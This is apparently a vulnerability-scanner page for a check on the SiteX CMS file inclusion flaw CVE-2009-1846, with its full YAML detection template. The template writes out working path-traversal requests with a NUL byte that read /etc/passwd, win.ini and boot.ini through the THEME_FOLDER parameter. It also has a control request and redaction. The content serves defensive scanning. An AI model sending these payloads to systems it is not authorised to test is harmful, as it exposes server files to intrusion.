SiteX — 1 vulnerability check

noctis ships 1 vulnerability check for SiteX, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

SiteX THEME_FOLDER Local File Inclusion

CVECVE-2009-1846
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/sitex/CVE-2009-1846.yaml

Tests SiteX (0.7.4 Build 418 and earlier) for the unauthenticated local file inclusion in the homepage.php script of its bundled themes, which includes themes/<THEME_FOLDER>/header.php with the THEME_FOLDER parameter unchecked. The feed requests themes/<theme>/homepage.php for the Corporate, Fusion, Joombo, Streamline and Structure themes under the usual SiteX folder locations (/sitex, /SiteX, /cms, the web root) with THEME_FOLDER set to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the /header.php suffix and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the inclusion. The flaw needs register_globals on, and the NUL-byte cut only works on PHP before 5.3.4 with magic_quotes_gpc off, so other installs are not reported. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{base}}/homepage.php?THEME_FOLDER=../../../../../../../../../../etc/passwd%00
  2. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{base}}/homepage.php?THEME_FOLDER=../../../../../../../../../../windows/win.ini%00
  5. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  6. HTTP(S) request GET {{base}}/homepage.php?THEME_FOLDER=../../../../../../../../../../boot.ini%00
  7. Checks bootini_r.body for (?i)\[boot loader\]
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{base}}/homepage.php?THEME_FOLDER={{ctrl_path}}%00
  10. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  11. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: SiteX THEME_FOLDER Local File Inclusion (CVE-2009-1846)
  12. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: SiteX THEME_FOLDER Local File Inclusion (CVE-2009-1846)

References:

Feed source — tests/vulnerabilities/sitex/CVE-2009-1846.yaml
# SiteX themes/<theme>/homepage.php THEME_FOLDER local file inclusion — CVE-2009-1846
#
# SiteX (a PHP CMS, 0.7.4 Build 418 and earlier, unmaintained) ships one
# homepage.php per bundled theme (Corporate, Fusion, Joombo, Streamline,
# Structure) under themes/. Each starts with (advisory: exploit-db 8816)
#     include("themes/$THEME_FOLDER/header.php");
# where $THEME_FOLDER comes straight from the request (register_globals) when
# the file is requested directly. "../" sequences leave the folder, and a NUL
# byte (%00) cuts off the "/header.php" suffix on PHP < 5.3.4 with
# magic_quotes_gpc off, so any file the web server user can read is included
# and printed in the reply.
#
# Detection (benign, read-only): GET
#   <sitex dir>/themes/<theme>/homepage.php?THEME_FOLDER=../../../../../../../../../../etc/passwd%00
# and match the CONTENT of /etc/passwd; when the page answers but no passwd
# line comes back, the Windows files windows/win.ini, then boot.ini.
# QoD 75 (response analysis). %00 in the query goes out verbatim through
# http_request.
#
# Improvements over the source NASL:
#   - The NASL only tries the Corporate theme; this feed tries the five
#     bundled themes, so a site where Corporate was deleted is still read.
#   - The NASL first requires "Powered by ... SiteX" on login.php; a site that
#     changed or removed that footer is missed. The feed probes the theme
#     script directly: the path and parameter are SiteX's own, and the file
#     content plus the absent-file control prove the inclusion.
#   - The NASL's single "../../../../../../" (6, of which the first only cancels
#     "themes/") does not even reach / from /var/www/html/sitex/themes/Corporate;
#     ten are sent (nine effective).
#   - The NASL's pattern is the file NAME's key regex on the whole reply; the
#     feed matches the file content and runs a control request (same
#     parameter, a path in an absent random directory that still ends with the
#     file that hit) that must come back WITHOUT any of these files; a blanket
#     responder or a honeypot keying a fake file on the file name or path
#     suffix is not reported (fail-closed: no control reply → no finding, and
#     the control must get the same HTTP status as the probe).
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: CVE-2009-1846 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/SiteX_35122.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100454, GPL-2.0-only).
uid: d4d1c0a5-652b-45c3-a21b-bdb7513d1408
name: "SiteX THEME_FOLDER Local File Inclusion (CVE-2009-1846)"
description: |
  Tests SiteX (0.7.4 Build 418 and earlier) for the unauthenticated local file
  inclusion in the homepage.php script of its bundled themes, which includes
  themes/<THEME_FOLDER>/header.php with the THEME_FOLDER parameter unchecked.
  The feed requests themes/<theme>/homepage.php for the Corporate, Fusion,
  Joombo, Streamline and Structure themes under the usual SiteX folder
  locations (/sitex, /SiteX, /cms, the web root) with THEME_FOLDER set to a ../
  sequence ending in etc/passwd and a NUL byte (%00) that cuts off the
  /header.php suffix and, when no passwd content comes back, windows/win.ini
  and then boot.ini. The content of the file in the reply confirms the
  inclusion. The flaw needs register_globals on, and the NUL-byte cut only
  works on PHP before 5.3.4 with magic_quotes_gpc off, so other installs are
  not reported. A control request for an absent random file through the same
  parameter must not return any of these files, so a server that serves the
  same content on every request is not reported. Only world-readable system
  files are read. The account name (unless root), password field and gecos of
  the uid-0 line are redacted from the evidence.
cves: [CVE-2009-1846]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [sitex, php, lfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-1846"
  - "https://www.exploit-db.com/exploits/8816"
  # OpenVAS/Greenbone NASL 2010/SiteX_35122.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per SiteX folder
  # location × bundled theme.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: base
      over:
        - "/sitex/themes/Corporate"
        - "/sitex/themes/Fusion"
        - "/sitex/themes/Joombo"
        - "/sitex/themes/Streamline"
        - "/sitex/themes/Structure"
        - "/SiteX/themes/Corporate"
        - "/SiteX/themes/Fusion"
        - "/SiteX/themes/Joombo"
        - "/SiteX/themes/Streamline"
        - "/SiteX/themes/Structure"
        - "/cms/themes/Corporate"
        - "/cms/themes/Fusion"
        - "/cms/themes/Joombo"
        - "/cms/themes/Streamline"
        - "/cms/themes/Structure"
        - "/themes/Corporate"
        - "/themes/Fusion"
        - "/themes/Joombo"
        - "/themes/Streamline"
        - "/themes/Structure"

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{base}}/homepage.php?THEME_FOLDER=../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
  # page exists (any reply but 404: a fatal 500 after
  # the include counts) and the Linux read gave nothing ─────────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{base}}/homepage.php?THEME_FOLDER=../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{base}}/homepage.php?THEME_FOLDER=../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0 && passwd_r.status != 404'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0 && passwd_r.status != 404'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit (etc/passwd, windows/win.ini or boot.ini) and the NUL
  # byte, so a honeypot that keys a fake file on that name or path suffix
  # answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{base}}/homepage.php?THEME_FOLDER={{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "SiteX THEME_FOLDER Local File Inclusion (CVE-2009-1846)"
        description: "An unauthenticated request to a SiteX theme's homepage.php with the THEME_FOLDER parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as the site configuration files, and runs any PHP code found in an included file."
        remediation: "Remove SiteX (unmaintained, no fixed release) from the server, or at least deny direct web access to the themes/*/homepage.php scripts, turn register_globals off and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{base}}/homepage.php?THEME_FOLDER=../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "SiteX THEME_FOLDER Local File Inclusion (CVE-2009-1846)"
        description: "An unauthenticated request to a SiteX theme's homepage.php with the THEME_FOLDER parameter set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as the site configuration files, and runs any PHP code found in an included file."
        remediation: "Remove SiteX (unmaintained, no fixed release) from the server, or at least deny direct web access to the themes/*/homepage.php scripts, turn register_globals off and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{base}}/homepage.php?THEME_FOLDER=../../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub